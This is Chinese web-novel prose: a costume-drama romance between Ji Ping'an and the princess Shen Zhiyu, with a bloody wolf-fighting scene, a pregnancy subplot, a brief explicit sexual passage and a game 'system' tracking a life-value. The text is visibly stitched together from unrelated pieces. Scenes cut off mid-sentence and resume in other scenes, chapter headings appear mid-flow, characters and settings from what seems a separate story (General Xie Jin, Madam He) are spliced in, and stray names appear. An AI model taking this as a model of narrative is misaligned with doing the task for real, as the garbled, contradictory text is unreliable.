要不然为什么要捂着胸口的位置。 清冷的声音在耳边响起来,季平安才缓过神来。 心跳快的时候,连喉咙都会有些紧,说起话来不自觉会变快。 季平安把捂着的手拿下来,深吸一口气后,才尽量让自己的语气保持平静道:“没什么事,就是难得睡这么舒服。” 沈之虞嗯了声,看了眼她身后:“岁岁还没有醒?” 这惊心动魄的一幕惹得周围人捂嘴惊叫,季平安不绝挨着沈之虞更近了,沈之虞侧脸见她跟个猫咪般没了之前的斗气,扬眉道:“怕了?” 季平安缩缩脖子:“没有,就是觉得过于残忍。” 女子与狼,这本书够缺德的,竟然让这么柔弱的身子与这么凶悍的动物相互厮杀。 “收起你那些可怜的同情心,而且没人逼她们。” 沈之虞淡淡道:“进了这里就是将生死看开,既然敢站在这台上,那必然别有所图。” 台下三人三狼,很快一个女子倒在血泊中,两外两个眼底平静,想看一块石头,毫不留恋的继续持刀厮杀 狼被砍了一刀,嚎叫声震天动地,带着二楼的窗牖都“吱呀”晃荡几声。 季平安扒拉着沈之虞的手臂,起风了,她感觉到一阵寒意而,而且她看久了,忽然心中一阵犯恶心。 她别过脸,努力忍下心头的那抹不适,早上起来还好好的,怎么这会反倒胃里倒腾泛起酸水,直让她想把昨夜饭都呕出来。 沈之虞蹙眉:“没事吧?” 季平安对上她漆黑双眸,有些不好意思,“没什么,估计看着这画面不习惯。” 她身体一向倍儿棒,从来不生病,这次来个鬼市看看刺激到,反倒受不了,真是年纪大了。 季平安用帕子擦擦嘴,沈之虞于灯光下瞥见她左耳处那枚猩红胎记,隔着碎发,若隐若现,愈发妖娆。 沈之虞盯着她看了几秒,随即牵起她的手放在手心:“不想看就去一边坐着等我。” 季平安道:“没问题,现在已经好了。” 她好容易来鬼市一遭,可不想就这么傻愣愣坐在一边。 “啊” 另一个女子发出惨叫,其中一头狼咬掉了她的手臂,血喷如泉,大家吓得后退几步,只见那断开的手臂在空中翻了几番,最终落在地上,一只狼蹄子一脚踏上,碎裂成几瓣。 季平安好容易止住的恶心感又被勾的引出,再也掩饰不了的趴在窗台边咳起来。 那白皙的脸被咳的煞白,沈之虞从后面给她轻轻拍,长发从她身后披散开,如瀑布般涤荡在腰间,沈之虞眸底想是想到了什么,一把摸在她的脉搏。 季平安摆摆手:“没事” 没事? 沈之虞眉头紧皱,季平安这蠢丫头,估计她还不知道吧。 沈之虞扶着她,让她趴在自己心口喘息,平复她的干咳。 “十七。” 十七在一边正好不知道该如何撤离,这屋里她就是个多余的蜡烛,这会儿,她立刻上前,“属下明白。” 一楼狼群死了两人,剩下的三头狼有了共同的敌人。 三匹狼战一个女子。 那女子身形敏捷,带着面 面具,在斗兽场里一上一下,来回翻飞,狼群对着她悉数攻击,即便如此也不见她落与下风。 青狼将女子团团包围,对方长剑断裂,她蓦地从袖口抽出一截弯刀,在红色烛光下闪着冰寒的光。 她的目的是杀死这三头狼,夺得第一,想到那匹日行万里的宝驹,女子眼中斗志燃气。 十七飞身下了楼,看着厂内女子打斗,手中剑柄捏的死死。 一头狼倒下,女子发丝零散,肩上血爪嶙峋,她喘着粗气,面具上喷着狼血,浓郁的腥味弥漫在四周,带着死亡压抑的气息。 剩下两头见同伴倒下,眼中凶光更甚,发了狂般扑向黄衣女子。 十七眸间发冷,看她还能坚持到几时。 屋内,沈之虞将季平安小心翼翼扶着坐在榻上。 给她倒了杯水润润。 “很快,本宫就带你回去。” 季平安受宠若惊,沈之虞什么时候居然来服侍她?她忙起身,笑眯眯道:“没事,我没那么娇贵,我自己来。” 她还想给沈之虞倒水拿糕点,她可舍不得沈之虞来做这些。 季平安觉得自己既然喜欢一个人,就一定要方方面面照顾到对方,绝不能因为自己的一时体虚而连累沈之虞来做粗活。 “你这手白白嫩嫩,娇娇贵贵的,还是歇着,换我给你整一杯。” 话说沈之虞与她出来这么久,同样没有喝过一口水,她堂堂长公主,皇帝的嫡姐,哪能这么委屈? 季平安从怀里摸出一个盒子打开,递到沈之虞面前。 “给。” 沈之虞一愣,“什么?”“沈之虞你你” 季平安有些惶恐,一觉睡到大天亮,眼前竟是高贵的公主大人端着热气腾腾的瓷碗,拿着汤匙,一勺一勺在嘴边吹。 季平安半坐身子,说话都不完整。 她没事儿吧? 沈之虞见状,秀眉微挑,勺子在碗边上也搁置不动,声音带着晨起时特有的哑,分外好听:“醒了?” 季平安目光在她身上来回审视,绕了一圈,忽然红了眼眶,沈之虞蹙眉:“哭什么?” 这儿有谁把她怎么吗? “沈之虞,我” “是不是得了什么大病。” “什么?” 季平安睡傻了?再说什么。 “要不,你怎么突然对我这么上心。” 季平安不敢相信,沈之虞一个高贵的公主,大早上就给她端汤碗,而昨天她身子不爽利,莫不是有医官趁她睡去来诊断,她得了什么了不得的病。 沈之虞眉眼突突,什么叫她突然对她那么上心? “看来,你是嫌本宫之前冷落你了?” 季平安嘿嘿笑,抓着头皮:“倒也不是,就是,这都是我想给你做的,你反过来为我做,我这不是,一时难以” 相信。 沈之虞说罢,将碗端过去,舀了一勺放她嘴边:“医官说了,你体虚这段时日要多调养,不然丞相来我这要人,我可不想得罪她。” 季平安惊:“你怕她?” 季澜在书中有那么恐怖吗? 沈之虞脑门子发疼,跟她不能多扯,不然季平安总不知能给她整出什么别的理由来。 “这是羊肚菌鸽子汤,趁热喝了。” 她特地让厨子做的,鸽子,羊肚菌加上山药干跟莲子枸杞芡实,最适宜孕期的女子。 季平安瞧着这大补汤,一早起来就这么补,万一补过了头,那可咋整。 “你不怕我喝完,对你生出什么别的心思出来?” 这不能怪她多想,以前看电视剧,里面主角喝多了补药,身体里的劲没处发,就嗯嗯啊啊的,不可言说的事数不胜数,季平安本就对沈之虞打着小九九,万一鸽子汤干下肚,邪火入了魔,那画面,她跟沈之虞在床上颠三倒四,云里雾里,想想就鸡皮疙瘩起一身。 沈之虞有些好奇的看着眼前少女,眉眼闪烁,不知在想什么,季平安就是有这本事,近在眼前,心也能跑天涯海角。 “听说丞相给你找的夫子专门在府中教学,要是你到国子监去,你这神儿走的,非得被罚死。” 在她面前就这么放肆,以前搁外面还不知怎么胆大包天。 季平安回神,发觉不知不觉间已经喝了一口,她立刻捂着嘴:“不喝了,不喝了,我怕我忍不住。” 这笨丫头,怎么那么笨呢。 沈之虞摇头,在她肚子瞥了一眼,要是日后宝宝传承了她的,那岂不是天天被学堂老师教训。 “忍不住?” 沈之虞拔高音调,看着她凑近两分,在她耳边轻声:“那就别忍。” 季平安头皮一麻,沈之虞这眼神,也太季平安浑身打了个激灵,乖乖把脸伸过去将补汤喝完。 这就对了,沈之虞满意的看她像个收了毛的兔子。 孕前期,季平安不能出什么意外。 “人抓住了吗?” 季平安想到昨天在鬼市,十七跟了上去,那个离国探子不知如何。 “嗯。” 沈之虞收了碗,眉眼低垂,季平安看不清她眼底的表情,既然她说抓到了那势必就是真的。 “优秀。” 季平安比了个大拇指,别的不说,沈之虞的工作能力是值得肯定的,手下能人一帮,抓个奸细,完全不在话下。 “本宫今天抽不开身,你自己找点乐子玩。” 沈之虞担心她跑出去瞎晃,避免生出额外意外,她看着季平安:“只许在府中。” 季平安不解:“啊哈?” “过阵子花车节到了,本宫带你一起。” 这是皇家的节日,到时候会有很多有趣的流程。 似乎是为了稳住她心神,沈之虞给她抛个甜枣。 季平安那身黑发覆盖在身后,眉眼水汪汪带着两分委屈娇态,像个放大版的兔子,绵绵软软,还未彻底从酣睡过后的情态中清醒,刚喝了补汤的唇更加柔嫩,粉粉的比蜜桃水晶糕还要诱人,沈之虞掰过她的脸,勾着脖子极为自然的吮了下。 季平安浑身麻了。 “你这是占我便宜?”一大早的,一点不客气,季平安讷讷。 沈之虞睨她:“只要本宫想。” 季平安整个人都是属于她的,亲一下怎么了? 她还想跑不成。 季平安小脸不觉染上红晕,而后昂着脖子,嗔了声:“不讲道理。” 沈之虞嗤笑,捏着她小脸蛋:“道理本宫说了算。” 她想,她做的就是道理,她不想,就算是道理,也是没道理。 季平安眼底闪烁,这样的沈之虞毫不掩饰她身上散发的霸道狂狷,丝丝缕缕的光慢慢折射入她眼,最终汇集一道无比明亮的画卷,沈之虞的身姿是这画卷中最亮眼的存在。 季平安喜欢这画卷,她喜欢沈之虞在她眼前霸道发光,她伸手揽住她脖子,在她侧脸“吧唧”亲了一口。 “知道你厉害,给你的奖励。” 沈之虞顿了下,眼中一闪,随即道:“胆子肥了,敢奖励我?” 季平安死死抱住她脖子,眉眼间闪闪亮亮,她奖励她怎么了,她喜欢她,跟她产生了牵不尽扯不断的关系,她后面还会把沈之虞对她做的,都悉数给她也做一遍。 不过此时,她还在筹谋酝酿,等到时机成熟再反客为主。 这丫头这时候还想着她沈之虞心中震颤。 “糖。” “上次看你喝莲子红枣粥让仆人特地多放了甜,我前两天出去集市,特地买了一盒。” 季平安看着她,眼底柔和真诚:“我本来想对着食谱给你自己做写麦芽糖奈何还在精进练习中,等我练练好了,就给你我亲手做的糖。” 季平安说着挠挠头,惭愧,她想给沈之虞做diy糖果,结果手残,做了一遍没做出形状。 季平安将黄色的糖纸打开,里面露出一颗方块状姜黄的糖,隔着空气都散着甜香,季平安递近了给沈之虞:“这家我提前打探过了,做的口碑,非常不错。” 季平安将糖送到她嘴边,沈之虞紧紧看她,季平安居然这么细心,连她爱吃甜都悄摸摸记下,她每日里喝莲子汤习惯多加糖,她自己都习以为常,季平安却有心的记下来,季平安瞪着杏眼,看她迟迟不张口,焦急道:“你不爱这个口味?” 她买的柑橘味,甜中带着微微酸,入口即化,沈之虞为何不张嘴。 季平安凑近威胁道:“再不张嘴,我就嚼好了炫你嘴里。” 沈之虞看她,握着她递糖的那只手腕,微微低头,将糖含入口中,季平安见她吃了,心情忽然变得无比高兴。 她笑着,脑中一晕眩,整个人向后踉跄跌在榻上,沈之虞眼疾手快扶住她。 “我今天不知怎么了,估计是要风寒了。” 老晕乎乎,不正常。 她心中发闷,燥热感涌来。 沈之虞道:“难受?” 季平安红着脸,她整个人倚在榻上,后背垫着高枕,沈之虞倾身将她圈在怀,低头珠簪步摇打在她肩头,虚影摇晃。 “我休息休息就好了,你是不是还有事?” 沈之虞带她来鬼市不是要找少离国奸细? “本来有事,现在,有别的事。” 沈之虞说话怎么越来越深奥,给她弄糊涂了。 季平安看她唇角勾着,一只手拢在她腰身,缓缓游走,隔着纱衣,沈之虞修长细瘦的手每一下都清晰准确的抚在她心头。 季平安忽然不自然起来,只见沈之虞将手最终停留在她腹部轻轻摩挲,她别过脸想扭动身体,这感觉太诡异,季平安耳朵开始发热。 沈之虞却将她稳稳固定,不让她动丝毫,低头将她吻住,未化完的半块糖落入她口,酸甜柑橘味直抵心尖。 “柑橘可解晕乏。” 沈之虞抬头看她,季平安的糖她吃了,很喜欢。 现在,身下人脸色红润润,她搁在腹部的手慢慢向下,季平安仰脸,双膝躬起,艰难的呼吸,沈之虞指尖没了之前的冰凉反倒是带着温热,季平安感受到两根指循序渐进的没入,她低声道:“外面,窗户。” 没有关。“小桃,你来这边等着。” 长公主府邸,雅芳舍外。 一棵古朴参天大树旁,季平安一身雪青绣蝶襦裙,踩着竹梯,将手伸的老长,下面小桃站在那,她两手做喇叭状放在嘴边高喊:“小姐,您慢点儿。” 一大早的,树上竟挂着一只猫,那猫儿好像受了伤,不晓得是怎么爬上去的。 “过来,快过来。” 季平安对它招手,这是只纯黑小野猫,眸子在树叶掩映间折射出一串幽冷金黄的光。 “你受伤了,过来我给你包。” 沈之虞轻笑,手指磕着壁点了两下,季平安立刻向后缩,好痒。 “那你要小声点。” 沈之虞冲她眨眼,要是被人听见,她可不负责轰人。 “放松。”沈之虞崽入一指,季平安咬牙:“我,只是躺躺就好了。” 彦辰看她左耳膨胀的紫藤花香,腺体里的信素在汇聚缭绕,算算日子,已过月余。 季平安这身子还真是敏感,她将她头部轻轻压在臂弯,顺着越发热浪冲天的壁道逐渐深入,“十七不会失手。” 她的暗卫们都藏在隐晦处,少师觉得自己聪明,可她忘了,这里是她的地头。 她想来参加佛陀搁的比赛赢得汗血宝驹,想从她眼皮子底下抽身。 沈之虞不会允许她就这么潇洒离去。 季平安忽然有了一些些的紧张。 她忍不住叫了句:“殿下。” 沈之虞:“怎么了。” 向来游刃有余的季平安,此刻声音难得带了些年轻的茫然。 她声音小了些,道:“殿下,我是第一次成亲。” 听完季平安的话,沈之虞顿了片刻。 过了会儿,她才看向眼前的乾元。 “季平安,我也是。” 第 60 章 第 60 章 说话的时候,两人视线相对。 片刻后,她们两个人都忍不住勾了下唇角。 季平安原本紧张的情绪,也消散了许多,她笑着道:“那我们谁也给不了谁经验了。” 在陌生的事情上,季平安习惯向沈之虞寻找帮助和建议。 比如之前的写字读书、分析京城局势这类事情,她都无条件相信沈之虞。 刚才想到成亲,季平安的脑海里也没有更多的细节,毕竟皇室的成亲,肯定会和普通人家有区别。 因此下意识便想问问沈之虞,她们两人成亲的时候,有没有需要注意的。 但是沈之虞的话音落下后,她也明白过来,对方和她同样,都是第一次成亲。 更不用说,沈之虞现在还没有记忆,估计也不会比她知道的多。 季平安刚才的情绪很明显,沈之虞也能够看出来她的紧张。 她道:“不用担心,到时候按照流程走就好。” 哪怕她们两人都没经历过,但是宫里的人总会把一切都安排好的。 季平安点头,眼里还有些笑意:“现在不紧张了。” 一个人面对陌生的事情,可能还会有些担心。 但若是有人一起,那些担心也消失殆尽了。 就像是小时候闯祸一样,一个人闯祸是害怕,一群人闯祸那就会长舒一口气。 去宫里拜见了皇帝,把拜帖全部拒绝掉之后,她们倒是难得安定下来。 因此隔天早上,季平安和沈之虞准备去找许子光她们。 到底不是出去玩,她们两个人就没有带上岁岁。 季平安摸摸了小孩的头:“我们这几天去外面处理些事,改天带你出去逛逛街。” 岁岁懂事地点头:“阿姐,你们路上小心。” 小孩虽然不懂京城的事情,但却有一种幼兽般的直觉,能够感觉出来季平安和沈之虞她们是要去做正事。 “好”,季平安笑了下:“回来给你带糖。” 京城的糖果肯定要比东和县的糖果种类多。 想到这里,她抬头看了下沈之虞,对方爱吃糖,倒是可以多买些。 沈之虞不知道她在想什么,感受到她的视线,问道:“我们走?” 季平安点头:“早点去也能早点回。”- 侍子听着两人打哑迷,悄然福了一福身,很有眼力见地退出了门。 季平安没心思和她扯皮,遂问:“这是何处,你府上?我八年没来,变化倒大。” “非也非也。”谢瑾摇摇头,卖了一会儿关子,高深莫测地说,“这是长公主府上的一间厢房。” 季平安:??? 季平安“嘶”了一声,压着嗓子问:“怎么来她府上了?” “你喝晕了之后,满殿一阵忙乱。长公主主动提出让你去她府上,她请医师替你好好把把脉,我想着你大约也有话要同她说,便把你扛来了。” 季平安: “你倒是挺了解我。”季平安幽幽道。 谢瑾自豪起来,抬手拍上她的肩:“过奖。” “既如此,我们便来好好清算清算”季平安冲旁伸出手,即刻有心腹下属奉上了一把剑。 季平安将剑左手倒右手地扔着,边扔边问:“造谣我不孕不育?” 谢瑾腾地将拍到季平安肩上的手挪开:“情急之举。” “同我演戏时没勘察清楚环境,被长公主看着了?” “她定没看着。” “撒谎?” “不敢,定是句句属实。” 季平安深深看她一眼,将手中的剑一收,扔回给下属,道:“既如此,去请长公主来。” 下属刚出门,长公主便即刻出现在了门口,速度之快让季平安怀疑她一直在扒着墙角偷听。 她将雪色的斗篷脱了,顺手递与在旁候着的侍子,捧过汉白玉手炉,问:“将军请我来所为何事?” 离得近了,雪松气便顺着外间渗进来的风晃过来。 季平安先道了声谢,而后好整以暇地抱着胳膊,冲谢瑾的方向抬了一下下巴:“谢将军有事寻殿下。” 谢瑾:???怎么就成我有事了? 对上季平安威胁的目光,谢瑾只得硬着头皮冲长公主抱了一下拳,说:“下官确是有事寻殿下。” 长公主转向她,淡然道:“何事?” 谢瑾看着不远处死命冲自己眨眼的季平安,终于接收到了好友的信号,嘴巴一开一合:“下官想问殿下此前在肃亲王府,可有去过花园一带?” 季平安在暗处长舒一口气。 总算问出来了。待她回至将军府时,夜色已然完全黑透了。 季平安略有些疲乏地叩了门,在侍子们一叠声”将军回来了“的话音里随口应着,唤了其中一个侍子往上跟。 侍子红着脸说:“夫人急得心慌。” “是我的不是。”季平安脱了大氅,往旁轻轻巧巧一递,“着实不该晚归,平白惹何娘担忧。” 侍子垂了脑袋,讷讷道:“莫说夫人,便是我们也担心得很。” 季平安挑了一下眉,信口接话:“那下回你同我一块儿上街可好?” 侍子的脸熟透了。 季平安同侍子侃了会儿大山,余光瞥见从厅内婷婷袅袅行出的何夫人,赶忙大步流星上前掺了一把,口内笑道:“这露浓霜重的,娘别出门了,仔细着了风。” 何夫人问:“怎么去了那么久?可是在季宅那儿绊住了脚?” “非也,我连季宅的门都没进呢,到门口晃了一圈就往回赶,只是路上遇着了故人,耽搁了一些时辰。” “故人”两字出口的时候,季平安眼前莫名晃过了月光与灯火下那颗浅淡的痣,与那双不近人情的眼。 令她晃了片刻神。 何夫人却不买账,“啧”了一声:“你八年没回京,离京时才十四岁,你倒是说说,能有什么故人让你遇着?” “就是说呢。”从厅内逶迤而出的季寒潭揽上何夫人的肩,好整以暇地煽风点火,“怕是她有事却不同我们讲。孩子大了,有想法咯,现如今就能这么对我们娘俩,若是将来成了亲,还不知能怎样呢。” “你倒是没个正形。”季寒潭睨她一眼,轻轻搁下茶盏,“明儿皇上跟前可得拘着些,不能这么坐没坐相。” 季平安两眼一闭,双腿一蹬,生嚎道:“娘啊,你不知道,在外头漂泊的日子苦哇。” 她静静等着长公主的回复,只见眼前那人歪着脑袋想了一想,说:“去过。” 谢瑾继续问:“那可曾听见我与季将军同萧三小姐的对话?” 长公主又陷入了沉思。 这是一件很难被回忆起来的事么?季平安想。 然而对面身份地位高出自己一截,况且现是自己有求于人,并不好催。 于是季平安抱着胳膊静静等着,等了足有半柱香,终于见长公主点了点头:“是有听得。” 季平安脑子里骤然冒出来两个字:万幸。 万幸是她亲眼看见了,而非萧三小姐告诉的她。 可她又倏忽间有些不畅快。 这种情绪其实很没道理,硬要说的话,大约是因为她们虽明面上没什么交集,然暗中分明已经亲昵两回。 然而长公主的这一声“是有听得”却说得像是“今儿天晴”。 毫无情绪波动。 便是陌生人,在撞见对方私密之事时也该有所反应。或是讶异,或是微微歉疚。 难道她们还不如陌生人么? 这一点点不畅快究竟也只是浮光掠影似的冒了头,继而便消散在雪松气里了。季平安听见谢瑾继续问:“殿下既已知晓,可否应下官一事,莫将此事宣扬出去?此事本是因我而起,执意要在花园对季将军剖白。若是传至我母亲耳朵里,怕是少不得闹一场。” 长公主的眸光从谢瑾脸上往季平安脸上转,须臾,点点头。 季平安放了心,正打算也跟着说上一句“多谢殿下”,忽听长公主淡声开了口:“季将军既已同谢将军交好,便莫再沾花惹草。” 季平安:? 季平安觉得实在有些莫名,不由得问:“我如何沾花惹草?” “白嘱咐一句罢了。”长公主将目光从她身上收回来,接着问谢瑾,“可有旁事?” 谢瑾摇摇头。 “我倒有一事。”长公主神色淡淡,看不出情绪,“我原不知两位将军有此等渊源,故对季将军恐有所冒犯。今儿晚饭莫若在我府上吃,我着人呈上好酒,以表歉意。” 季平安的“不必”同谢瑾荡气回肠的“好”一同道了出来。 季平安:? 她扯了扯谢瑾的袖子,咬着牙低声问:“怎么不与我商量一下就答应了?” 谢瑾浑然不觉:“你没听着么?有好酒!左右都到她府上了,也无旁人,多待一会儿料想也无事。” 季平安: 姐们儿,中午喝,晚上又喝。 喝死你算了。 她咳了声道:“那是意外好不好,我学东西还是很快的!” 两人再回到府上,又是一日半,天色也黑下来。 她们也没有再说其他的话,收拾好后便回了各自的房间。 躺到床上,季平安习惯性调出来系统的面板。 然后就看到,沈之虞的生命值那栏,再次下降了一个点。 季平安:“……?!” 她想都没想,随便披了件衣服,就站到了沈之虞的的房间门口。【你现在阅读的是 】 60-70 第 61 章 第 61 章 沈之虞之前的生命值是52,回到京城后也没有再变过。 季平安原本也慢慢放下了心,猜想着可能是前几天提心吊胆,加上沈之虞的身体比较弱,生命值才会下降。 但是她没有想到,今晚再去看对方的生命值又减了一点,变为了51。 50更像是一个分界线,若是到了50以下,就说明身体肯定出了问题。 季平安现在也能够肯定,沈之虞身上肯定有她不知道的事情。 故意在瞒着她? 还是说,连对方都没有意识到自己的身体出了问题? 身上只披着一件外衫的季平安,站在沈之虞的房门口前,思考着这个问题。 夜风吹过,尚且还带着微微的凉,让她的脑袋也清醒了许多,但还是没有想出来上面两个问题的答案。 没有办法,这几天和沈之虞相处下来,她表现地实在太正常了,看不出来任何不同寻常。 哪怕是在府里人的面前,也是波澜不惊的,每次请示都能够答得上来,甚至连失忆都看不太出来。 沈之虞的房间灯已经暗了,人应该已经睡了。 连赶着三日车,回来后沈之虞还陪着岁岁说了会儿话。 季平安还记得当时她眉眼之间的倦色。 于是想要敲门的手,便顿在了原地。 想了片刻后,季平安叹口气放下了自己的手。 她看着眼前的房门,心里默默想道:今天还是让人好好睡一觉,她明天再和对方说这件事。 见到季平安回到房间里后,守在暗处的虞柏才将这件事记下,准备等沈之虞醒来后,和对方汇报- 季平安踩着竹梯,踮着脚尖,小桃在下面看的心惊胆战。 那只小野猫盯着她,忽然:“喵~” 唤了两声。 季平安笑眯眯,两指就要碰到它的脚踝。 蹭~ 小野猫忽然站起,眼底藏着戒备,季平安心道,坏了,她只是想帮它好受些,结果这小家伙却认生,面露凶光。 “我只是啊” 她话音刚落一般,小黑猫一蹬腿向她冲来,季平安惊的脚下发虚,身子后仰一滑,“刺啦” 伴随着小桃捂嘴尖叫。 季平安心道,完蛋了。 她这把真栽了,那么高的梯子,不死也要残。 “唔” 身子重重落入一个宽大怀抱中,她的腰间多了一双手,非常稳固的将她圈在怀内。 季平安睁开眼,看到沈之虞那张俊脸。 她这是下完早朝回来了? “你在做什么?” 沈之虞将她扶好,季平安怎么那么闲不住,看着前方竹梯,这丫头一大早起来就爬树? “抓住那只猫,沈之虞。” 季平安立刻握住她臂弯,有些焦急:“那只猫受伤了,再不救估计就成瘸子。” 猫? 沈之虞顺着她的视线看去,果真有一一只黑色小猫,躲在树根下,目光直直看向她们,她的前蹄处向前耷拉,看样子是骨折。 府邸什么时候溜进来一只猫。 她走过去,只见那只黑猫对她“喵喵”叫个不停,眼中哪里还有敌视,竟有几分讨好乖巧。 “喵~” 沈之虞伸手,它主动挪到她手边。 “猫比你乖。” 沈之虞将黑猫抱在怀里,在看季平安摇头。 季平安嚷:“它刚才差点把我打死。” 这破猫,她好心好意的要救它,结果,结果这家伙不领情,看到沈之虞倒是乖乖的像个小媳妇般,季平安对这只黑猫的好感全没了。 她不救了。 “它跟着你,你就负责好了。” 季平安嘴揪成一圈能挂油壶。 哟~ 沈之虞看她一脸不服气,扬眉道:“我对它负责,那你怎么办?” 季平安一听,立刻满脸委屈,声音萎靡,眼眶发红:“那我就走罢。” 沈之虞分外配合:“你走了,那这里该多寂寞。” 没了季平安天天叽叽喳喳在她眼前晃悠,沈之虞觉得,还真是不习惯。 习惯真是可怕。 季平安一听心中一动,面上立刻昂扬起来:“你的意思,你舍不得我?” 沈之虞是在告诉她,不能失去她,不能没有她? 季平安心中立刻跟抹了蜜一样甜,在看她怀里那是臭猫,也不觉得碍眼了。 沈之虞见她兴致活泼起来,道:“倒也不是。” “哈啊?” 季平安小脸又跨了。 不逗她了,沈之虞靠近她几分,看了眼猫又看看她:“季侍读,你跟个猫吃醋,有失体统。” 这只猫怎么能跟季平安比呢? 沈之虞见她小脸红扑扑,比这猫可爱不知多少倍。 “罚你给它上药。” 沈之虞清贵高雅,呶嘴那眼神示意。 季平安眨眨眼,行叭,既然沈之虞给这猫说情,她就勉为其难的给她包扎好了。 屋内。 小黑猫蹲在茶几上,季平安将小药箱拎来,先是给它受伤的蹄子擦了一遍,然后又用药膏给它上药。 “包好了,它住哪儿呢?” 这猫也不知道有没有人养。 沈之虞道:“你要是想养,就放你这儿,本宫让人给它搭个猫舍。” 一看季平安就喜欢这小黑玩意儿,公主府里多养只猫对她来说无所谓。 季平安开心就好。 “这个我自己来。” 搭猫舍她在行,以前当社畜时,帮朋友代养过一段时间的小波斯。 沈之虞挑眉,她就说,季平安其实爱猫。 “呕” 上完药,季平安忽然双手扒拉着对着一边空地干呕起来。 腹中黄水都要吐出来。 早上她明明吃了饭,为什么还犯恶心? 前几日沈之虞还给她熬了汤药端来,而她也很注意保暖,怎么还没好? 季平安面颊咳出红晕,抬眼,眼泪都逼出来,沈之虞走过去给她顺气。 季平安道:“你给我的是不是假药?” 沈之虞瞥她,不大自然道:“药都是给你补身体用的,本宫府里没有假。” 季平安浑身乏力,她每次呕完都记得脚底发虚,走路都飘飘。 这感觉就像 就像她之前在班上见过的一位同事怀孕的同事。 那妹子查出有孕后,前三月就孕吐不止,一度要去医院打点滴。 她这感觉,难道她 天呐! 季平安被自己的想法吓到了,她穿进这烂书中,仔细想想,就没见过一个男人,而且女子也有后代,她是季岚跟姜雅风的孩子,她们共同孕育的孩子。 难道这个世界可以生崽? 想着她跟沈之虞腻腻歪歪不知多少次,季平安新世界的大门被打开了,书里什么没可能发生? 这毕竟是一本爱情小说。 红铅。 她算算日子,自从来到这里,身上的红铅水就没流过,越想越觉得不对劲,越想越觉得头皮发麻。 季平安看着沈之虞手捂着肚子,弯腰神色痛苦:“沈之虞,我肚子不舒服。” 沈之虞见她面色不似作假,便抱着她到床榻,“十七。” 十七一阵风似的从窗外飞走。 季平安越来越痛苦,躬着身子,“最近腹部老是不舒服,不知道怎么了?” 沈之虞拧眉,红绸不是说她胎像平稳,没什么问题么? “沈之虞,我我” 季平安双眼一翻,厥过去。 沈之虞立刻扶住她的肩,“季平安?” “快,给她看。” 红绸进屋,就见沈之虞脸上从未有过的焦虑,不免多看了床上的季平安一眼。 脉搏正常。 心跳正常。 面色红呼呼也挺正常的。 红绸不解,在看沈之虞,见她神色凝重:“她刚才爬了梯子,从上面掉下来。” “也太不小心了,怀了孕还爬梯子。” 红绸甩了下帕子,这丞相府的小姐怎的那么不小心,怀了公主的子嗣还到处溜达。 话音落,只见一道石破天惊:“什么?我真怀孕了?” 季平安坐起,眼睛瞪的像鸡蛋。 天呐,这破烂书果然穿进来没什么好事,一天天净安排些什么瞎剧情。 反应过来后,在看前面。 只见沈之虞那张清贵的脸似笑非笑的看着她:“肚子这么快就好了?” 关心则乱,她要是稍微用点心,也不难发现季平安是装的。 沈之虞面色铁青,这丫头胆子太大了,当面就开始溜她。 “嘿嘿嘿。” 季平安额前冷汗冒,她只是想试试自己是不是真的要当妈,没想到演过了,沈之虞那冰冷的脸越发近。 季平安觉得今天要完。 片刻后。 沈之虞坐在马车内,看着一身便衣的季平安,眼尾吊捎倾斜,她一身白色纱裙,腰间束着宽边腰带,一头长发披在身后,简单随意的扎了一根簪子,娇小玲珑,煞是可爱。 季平安坐她身边,拎着个药箱。 “我们去哪?” 沈之虞道:“先去义庄看看。” 怪病这几天死了些人,没有经正常的火化程序,先暂停到那里,验验再说。 “啊,那不是小说里的停尸房吗?” 季平安脊背发麻。 眼前立刻浮现飘满死尸的场景。 沈之虞盯着她,“你脑子中奇奇怪怪的事情很多。” 季平安眨眼嘿嘿笑,反应过来沈之虞可能听不懂小说是什么。 “小说就是话本子。” 解释完,看到沈之虞拿眼剜她,她立刻上前笑眯眯谄媚道:“我们就两个人去,会诈尸吗?” 万一来个灵异的镜头,尸体从盖着白布的样板上坐起来,尸变了怎么办? 沈之虞一看就是被人伺候的主,她能打过嘛? “十七护卫呢?” 她应该很厉害吧,怎么不见她人。 沈之虞淡淡道:“刚才有人还信誓旦旦,自信满满的说能胜任此任务,怎么还没到,就开始怕了?” 季平安解释:“我是担心你跟着我遭罪。” 哟~ 吃完午饭后,季平安便对府里的人道:“去帮我把京城最好的两位郎中请来。” 请一个郎中她也不是很放心,索性便让人多请些人过来。 府里的人行动麻利,听到她的话便出了府请人。 等待的时间里,季平安便刷新着系统页面,生怕看到对方的生命值再次下降,一颗心始终悬着。 系统贴心道:“宿主,要不然我帮你看着,如果数据有变动就立刻提醒宿主,这样也不用一直盯着。” 季平安:“没关系。” 她就是不盯着系统页面,现在也没有心思做其他的。 没一会儿,郎中就被请过来了。 季平安刚想过去,先口头问问郎中,结果刚站起来,就看到系统页面上的生命值,再次发生了变化。 早上的51,现在已经到了50。 季平安:“???”“我是无所谓,但是架不住你身子贵重,万一有个闪失,我不得哭死。” 沈之虞听完,冷着嗓子道:“本宫出什么意外,你为什么那么关心。” 季平安咬咬牙,心头一横。 “那咱们,你这是不认账?” 季平安紧紧看她,穿进来就跟眼前人腻腻歪歪一晚上,前两天又是亲亲咬咬,怎么一完事儿,沈之虞就拍拍屁股走人,半点都不留恋似的。 季平安心头委屈:“你不喜欢我,为什么要跟我做那事。” 沈之虞换了个姿势,单手撑着下巴,看她一派悠闲,逗弄道:“那不是你求着本宫要的吗?” 第一次可是季平安自己送上来的。 季平安咬咬唇,又道:“那厨房总归不是我求的吧?” 沈之虞见她小脸泛着红晕,大有气急败坏模样,想到心头那抹淡淡紫藤花香,心底有暖流淌过,轻哼了一句:“你不也挺喜欢?” 季平安攀着她身,回应她,抓着她后颈,咬她耳朵时可不比她给她注入信素来的差。 想到那软糯的舔舐,沈之虞眼底眸色加深,别开视线。她并非喜好这些事的人,只是第一次季平安拉着她手臂带着哀求,她竟然一个心软,入了这套。 眼前人娇娇俏俏,比她貌美会侍奉的也不在少数,凭什么她就对这个小丫头多眷顾? 沈之虞抛开心底的怪异想法,季平安小脸更加红粉,她话说的太直白,这是害羞了? 刚想伸手去安慰一下,触触她头顶,就见季平安坐直身子,看着她认真道:“沈之虞,你相信露水情会变成情有独钟吗?” 沈之虞手僵在半空。 季平安点点头,眼里带着光,毫不避讳:“我回去想了好久,我差不多是,不讨厌你。” 不讨厌与你做的那些稀里哗啦事。 沈之虞点点头,细细玩味,不讨厌,嗯,这丫头说不讨厌她。 没想到季澜的女儿还是个直头青。 